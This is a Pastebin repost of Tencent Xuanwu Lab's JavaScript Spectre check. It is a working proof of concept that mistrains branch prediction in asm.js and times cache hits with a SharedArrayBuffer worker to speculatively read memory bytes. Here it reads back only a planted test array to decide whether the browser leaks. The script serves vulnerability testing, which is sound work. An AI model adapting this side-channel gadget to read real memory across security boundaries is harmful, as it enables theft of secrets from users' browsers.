Advertisement
TringaliLuca

Spectre vulnerability check

Jan 16th, 2018
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script>
  2. //source: http://xlab.tencent.com/special/spectre/js/check.js
  3. /*
  4. * check.js - Spectre Check
  5. *
  6. * Copyright 2018 Tencent Xuanwu Lab <xlab@tencent.com>
  7. * Copyright 2018 Tencent, Inc. and/or its affiliates. All rights reserved.
  8. *
  9. * This code is the copyright of all authors, please reference reservation reproduced.
  10. */
  11.  
  12.  
  13. function asmModule(stdlib,forgein,heap)
  14. {
  15.     'use asm'
  16.     var simpleByteArray = new stdlib.Uint8Array(heap);
  17.     var probeTable = new stdlib.Uint8Array(heap);
  18.     var TABLE1_STRIDE = 0x1000;
  19.     var TABLE1_BYTES = 0x2000000;
  20.     var junk = 0;
  21.     var simpleByteArrayLength = 16;
  22.     var sizeArrayStart = 0x1000000;
  23.  
  24.     function init()
  25.     {
  26.         var i =0;
  27.         var j =0;
  28.         for(i=0; (i|0)<16; i=(i+1)|0 )
  29.             simpleByteArray[i|0] = ((i|0)+1)|0;
  30.         for(i=0; (i|0)<30; i=(i+1)|0 )
  31.         {
  32.             j = ((((i|0)*8192)|0) +  0x1000000)|0
  33.             simpleByteArray[(j|0)] = 0x10;
  34.         }
  35.     }
  36.  
  37.     function vul_call(index, sIndex)
  38.     {
  39.         index = index |0;
  40.         sIndex = sIndex |0;        
  41.         var arr_size = 0;
  42.         var j = 0;
  43.         junk = probeTable[0]|0;
  44.         j = ((((sIndex|0)*8192)|0) +  0x1000000)|0;
  45.         arr_size = simpleByteArray[(j|0)]|0;
  46.         if ((index|0) < (arr_size|0))
  47.         {
  48.             index = simpleByteArray[index|0]|0;
  49.             index = ((index * 0x1000)|0);
  50.             junk = (junk ^ (probeTable[index]|0))|0;
  51.         }
  52.     }
  53.    
  54.     function flush()
  55.     {
  56.         var i =0;
  57.         var current = 0;
  58.         for (i = 256; (i|0) < 16640; i=(i+1)|0 )
  59.             current = probeTable[((i|0) * 512)|0]|0;
  60.     }
  61.     return { vul_call: vul_call ,init: init, flush:flush}
  62. }
  63.  
  64.  
  65.  
  66. function check(num, data_array)
  67. {
  68.     function now() { return Atomics.load(sharedArray, 0) }
  69.     function reset() { Atomics.store(sharedArray, 0, 0) }
  70.     function start() { reset(); return now(); }
  71.     function clflush(size)
  72.     {
  73.         for (var i = 0; i < ((size) / offset); i++)
  74.             current = evictionView.getUint32(i * offset);
  75.     }
  76.  
  77.     const worker = new Worker('/special/spectre/js/worker.js');
  78.  
  79.     const sharedBuffer = new SharedArrayBuffer(10 * Uint32Array.BYTES_PER_ELEMENT);
  80.     const sharedArray = new Uint32Array(sharedBuffer);
  81.     worker.postMessage(sharedBuffer);
  82.  
  83.     var simpleByteArrayLength =  16;
  84.     var TABLE1_STRIDE = 0x1000;
  85.     var TABLE1_BYTES = 0x3000000;
  86.     var CACHE_HIT_THRESHOLD = 0
  87.     var probeTable = new Uint8Array(TABLE1_BYTES);
  88.  
  89.     var offset = 64;
  90.     var current;
  91.     var cache_size = num * 1024 * 1024;
  92.     var evictionBuffer = new ArrayBuffer(cache_size);
  93.     var evictionView = new DataView(evictionBuffer);
  94.     clflush(cache_size);
  95.  
  96.     var asm = asmModule(this,{},probeTable.buffer)
  97.     var cnt =0;
  98.  
  99.     worker.onmessage = function(msg)
  100.     {
  101.         function readMemoryByte(malicious_x)
  102.         {
  103.             var results = new Uint32Array(257);
  104.             var simpleByteArray = new Uint8Array(probeTable.buffer);
  105.             var tries =0
  106.             var junk = 0;
  107.             var j = -1;
  108.             var k = -1;
  109.             for (tries = 99; tries > 0; tries--)
  110.             {
  111.                 var training_x = tries % simpleByteArrayLength;
  112.                 clflush(cache_size);
  113.                 var time3 = start();  
  114.                 junk = simpleByteArray[0];
  115.                 var time4 = now();  
  116.  
  117.                 for (var j = 29; j >= 0; j--)
  118.                 {
  119.                     for ( var z = 0; z < 100; z++) {}
  120.                     var x = ((j % 6) - 1) & ~0xFFFF;
  121.                     x = (x | (x >> 16));
  122.                     x = training_x ^ (x & (malicious_x ^ training_x));
  123.                     asm.vul_call(x,j);
  124.                 }
  125.                
  126.                 for (var i = 0; i < 256; i++)
  127.                 {
  128.                     var mix_i = i;
  129.                     var timeS = start();
  130.                     junk =  probeTable[(mix_i * TABLE1_STRIDE)];
  131.                     timeE = now();
  132.                     if (timeE-timeS <= CACHE_HIT_THRESHOLD && mix_i != simpleByteArray[tries % simpleByteArrayLength])
  133.                         results[mix_i]++;
  134.                 }
  135.                
  136.                 for (var i = 0; i<256; i++)
  137.                 {
  138.                     if (j<0 || results[i] >= results[j])
  139.                     {
  140.                         k = j;
  141.                         j = i;
  142.                     }
  143.                     else if (k < 0 || results[i] >= results[k])
  144.                         k = i;
  145.                 }
  146.                 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  147.                     break;
  148.             }
  149.        
  150.             results[256] ^= junk;
  151.             return [j,k,results[j],results[k]]
  152.         }
  153.        
  154.         function readMemoryByteWrapper(malicious_x)
  155.         {
  156.             var rlt = readMemoryByte(malicious_x);
  157.  
  158.             if(rlt[0] != 0)
  159.             {
  160.                 return rlt[0]
  161.             }
  162.             else
  163.             {
  164.                 clflush(cache_size);
  165.                 var com_rlt = readMemoryByte(malicious_x);
  166.                 if (com_rlt[1] == rlt[1] || com_rlt[0] == rlt[1])
  167.                     return rlt[1]
  168.                 else if (com_rlt[0] == 0 || com_rlt[1] == 0)
  169.                     return com_rlt[0]
  170.                 else
  171.                 {
  172.                     return -1;
  173.                 }
  174.             }
  175.         }
  176.  
  177.         asm.init();
  178.         for(var i=0 ;i<0x1000;i++)
  179.         {
  180.             asm.vul_call(1,0);
  181.             clflush(64);
  182.         }
  183.  
  184.         var simpleByteArray = new Uint8Array(probeTable.buffer);
  185.         for(var i=0;i<data_array.length;i++)
  186.             simpleByteArray[0x2200000 + i] = data_array[i];
  187.  
  188.         for(var i=0;i<data_array.length;i++)
  189.         {
  190.             var data = readMemoryByteWrapper(0x2200000+i);
  191.             if (data != data_array[i])
  192.             {
  193.                 worker.terminate();
  194.  
  195.                 if((num*2) < 256)
  196.                 {
  197.                     output_cache_log(num*2);
  198.                     check(num*2, data_array);
  199.                 }
  200.                 else
  201.                 {
  202.                     output_not_info_leak();
  203.                 }
  204.                 return;
  205.             }
  206.         }
  207.  
  208.         worker.terminate();
  209.         output_info_leak();
  210.         return;
  211.     }
  212. }
  213.  
  214. function main()
  215. {
  216.     output_testing_start();
  217.     if(window.SharedArrayBuffer)
  218.     {
  219.         output_cache_log(8);
  220.         check(8, [88,117,97,110,119,117]);
  221.     }
  222.     else
  223.     {
  224.         output_not_info_leak();
  225.     }
  226. }
  227.  
  228. //main();
  229. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement